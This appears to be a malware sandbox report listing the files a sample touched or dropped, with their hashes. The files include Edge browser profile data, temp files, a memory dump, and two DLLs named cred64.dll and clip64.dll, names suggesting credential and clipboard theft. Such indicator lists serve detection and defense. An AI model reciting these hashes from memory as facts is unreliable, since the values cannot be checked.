SHA256 25acce6d066e6423e2fa55f4ed13915027e09405b427e80fd5cfb07e2182687a
SHA512 8f1dda8e6d351403a0a58ff8011f5497cb4cfb7047c27ac4d32c2bd417f94468a74535c50f0c6b30b303f6aa240de85142596b9dacb945a0097f539219bb6650

memory/2328-643-0x0000000005070000-0x0000000005085000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 3a32a6fc59b70a4283ac1ec6e5213de1
SHA1 18f761839725e3b301efa24ba4953b87b4022287
SHA256 edaef2783f2a28fa5a77e2bb235d6e06d4e6deb4bd80fbb434cf3386e7ec6365
SHA512 dfb85df84a06192a278b70e08b21a5c86e1e36105e0242259feb3ceb2823ed981a996bea5605f0417edbc625c7de30aa2b876ff010f169610750f47493132c32

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 ca8c0a0e18308d7f1acd9cff2b4bbc4a
SHA1 119a4d740368bee6946ce19a1475f3ef79439fdf
SHA256 d9833d2a9b461552423428f64a011c154d63001b347fdf69456c47b125c003e7
SHA512 90c1efadb4e59432d7efc342e35f6003e8ae42c3099ef9d65ec7d27ddb320201375766f7d77791ea31cd8b5a108250f87811e74ba985c2d4ec82af3063c82cd3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 98c425ed07c9e8d0bccab4844bbd21f6
SHA1 f8874ef324c8ce96ff38e57acc8df44c61b9a530
SHA256 9536ba4b81ae88ec16e75951bb781bd73e797636f054e682f79548e84cbf8991
SHA512 dff38678f0a788a7d8fd85585bbeb34e36104a794dc3673a83df719454f4fe69b101a70926282cc4944768f830e1951e091be7864f7b597606a28ab7d1bf6c4e

C:\Users\Admin\AppData\Local\Temp\tmpF97.tmp

MD5 02d2c46697e3714e49f46b680b9a6b83
SHA1 84f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA512 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

C:\Users\Admin\AppData\Local\Temp\tmp1059.tmp

MD5 8395952fd7f884ddb74e81045da7a35e
SHA1 f0f7f233824600f49147252374bc4cdfab3594b9
SHA256 248c0c254592c08684c603ac37896813354c88ab5992fadf9d719ec5b958af58
SHA512 ea296a74758c94f98c352ff7d64c85dcd23410f9b4d3b1713218b8ee45c6b02febff53073819c973da0207471c7d70309461d47949e4d40ba7423328cf23f6cd

C:\Users\Admin\AppData\Local\Temp\tmp119D.tmp

MD5 349e6eb110e34a08924d92f6b334801d
SHA1 bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA512 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

C:\Users\Admin\AppData\Local\Temp\tmp11A3.tmp

MD5 1129fed11612bec767b4cfca52e6a811
SHA1 18c21dbf1882a35d1c750038064bc444574b4032
SHA256 ad4bb71db25bed0f9d4bc3efc78386fc02db02c472556a9382279b99d1562ce0
SHA512 947085d6625ddc8641fddb5f7243e2824e78ac11c325599cd89425c395af2e832add9155ee00392eec5565870daf70e149ae1bb28739b5be2cf95cfbb686284e

C:\Users\Admin\AppData\Local\Temp\tmp125D.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

C:\Users\Admin\AppData\Local\Temp\tmp1232.tmp

MD5 f70aa3fa04f0536280f872ad17973c3d
SHA1 50a7b889329a92de1b272d0ecf5fce87395d3123
SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA512 30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

MD5 a5b509a3fb95cc3c8d89cd39fc2a30fb
SHA1 5aff4266a9c0f2af440f28aa865cebc5ddb9cd5c
SHA256 5f3c80056c7b1104c15d6fee49dac07e665c6ffd0795ad486803641ed619c529
SHA512 3cc58d989c461a04f29acbfe03ed05f970b3b3e97e6819962fc5c853f55bce7f7aba0544a712e3a45ee52ab31943c898f6b3684d755b590e3e961ae5ecd1edb9

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 e913b0d252d36f7c9b71268df4f634fb
SHA1 5ac70d8793712bcd8ede477071146bbb42d3f018
SHA256 4cf5b584cf79ac523f645807a65bc153fbeaa564c0e1acb4dac9004fc9d038da
SHA512 3ea08f0897c1b7b5859961351eef59840bbf319a6ad7ebe1c9e1b5e2ce25588d7b1a37fd6c5417653521fc73f1f42eb043d0ee6fcd645aa92b8f305d726273b4